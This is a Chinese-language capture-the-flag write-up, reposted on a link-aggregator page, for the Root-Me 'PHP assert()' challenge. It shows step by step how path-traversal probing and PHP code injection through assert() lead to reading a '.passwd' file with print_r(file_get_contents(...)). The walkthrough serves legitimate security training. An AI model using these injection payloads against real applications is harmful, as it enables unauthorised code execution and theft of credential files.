6

【Root-Me】 PHP assert()

 2 years ago
source link: https://exp-blog.com/safe/ctf/rootme/web-server/php-assert/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【Root-Me】 PHP assert()



综合题型,做这题需要一定的 PHP 编程基础。此题全程使用 Burp Suite -> Repeater 工具方便调试 payloads 。

首先根据题意,可以知道目标是打开应用根目录下的 .passwd 文件。

搜索一下关于 PHP assert() 的语法,知道其函数定义为:

// $assertion 为固定参数,如果它是字符串,它将会被 assert() 当做 PHP 代码来执行
// 亦即可以通过 assert() 注入 PHP 代码,这是这题的解题关键
bool assert ( mixed $assertion [, string $description ] )

点击挑战页面上的超链,发现 URL 上的请求参数会随之变化 ?page=${input},尝试直接打开 .passwd 文件,构造 GET 请求参数为 ?page=.passwd,页面会回显报错:'includes/.passwd.php'File does not exist

01.png

根据这个报错可以知道两个信息:

  • 代码逻辑是在 inlcudes 目录下寻找目标文件
  • GET 请求参数的拼接方式是 'includes/${input}.php'

为此尝试构造 GET 请求参数为 ?page=../.passwd 进行路径穿越访问,出现检测到 hacking 的报错信息:

Warning: assert(): Assertion "strpos('includes/../.passwd.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!

02.png

根据这个报错可以再推断两个信息:

  • 这是 assert() 打印的
  • 可以推断一部分的代码逻辑是这样的:
    // ${input} 是我们可以控制的注入位置
    assert("strpos('includes/${input}.php', '..') === false")

又由于 assert 会把入参的字符串作为 PHP 代码执行,因此其中的 strpos 函数会被调用,而这个函数的作用明显是检测 ${input} 中是否包含 .. ,有则在页面报错 Detected hacking attempt!,为此可以进一步推测代码逻辑如下:

if (assert("strpos('includes/${input}.php', '..') === false")) {
    // 正常代码
} else {
    // 异常代码:检测到路径穿越
    echo(${input} . " Detected hacking attempt!");
}

为了注入代码,先尝试绕过路径穿越的检测逻辑,为此构造 ${input} 的 payloads 为 ','exp') || strpos(' 令到 if 条件恒真,于是发现新的报错信息 'includes/','exp') || strpos('.php'File does not exist

03.png

由此可以再进一步推断代码逻辑如下:

if (assert("strpos('includes/${input}.php', '..') === false")) {
    $file = 'includes/${input}.php';
    if (exist($file)) {
        // 正常代码
    } else {
        // 异常代码:文件不存在
        echo($file . " File does not exist");
    }
} else {
    // 异常代码:检测到路径穿越
    echo(${input} . " Detected hacking attempt!");
}

至此只需要利用 || 逻辑增加 if 条件语句,就可以注入代码了。

首先构造 ${input} 的 payloads 为 ','exp') || phpinfo() || strpos(' ,页面打印了 PHP 版本为 5.3.17,说明注入成功。

04.png

而后只需要替换 phpinfo() 为查看 .passwd 内容的 PHP 语句,即可达到目的。

修改 payloads 为 ','exp') || file_get_contents("../.passwd") || strpos(',尝试直接读取文件内容,却发现页面报错 file_get_contents() 函数无法找到文件。

05.png

再次调整 payloads 为 ','exp') || file_get_contents(".passwd") || strpos(',即去掉路径穿越,发现报错没有了,推断 file_get_contents() 函数是从 web 应用根目录开始找文件的。

06.png

但是页面没有打印出 .passwd 文件的内容,说明还缺一个输出函数,此处使用 print_r() 函数(注意不能使用 echo()函数,因为它无返回值无法嵌入 if;也不能使用 print() 函数,因为它无法输出内容到页面)。

最终构造的 payloads 为:','exp') || print_r(file_get_contents(".passwd")) || strpos('

注入后得到 flag,完成挑战。

07.png

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK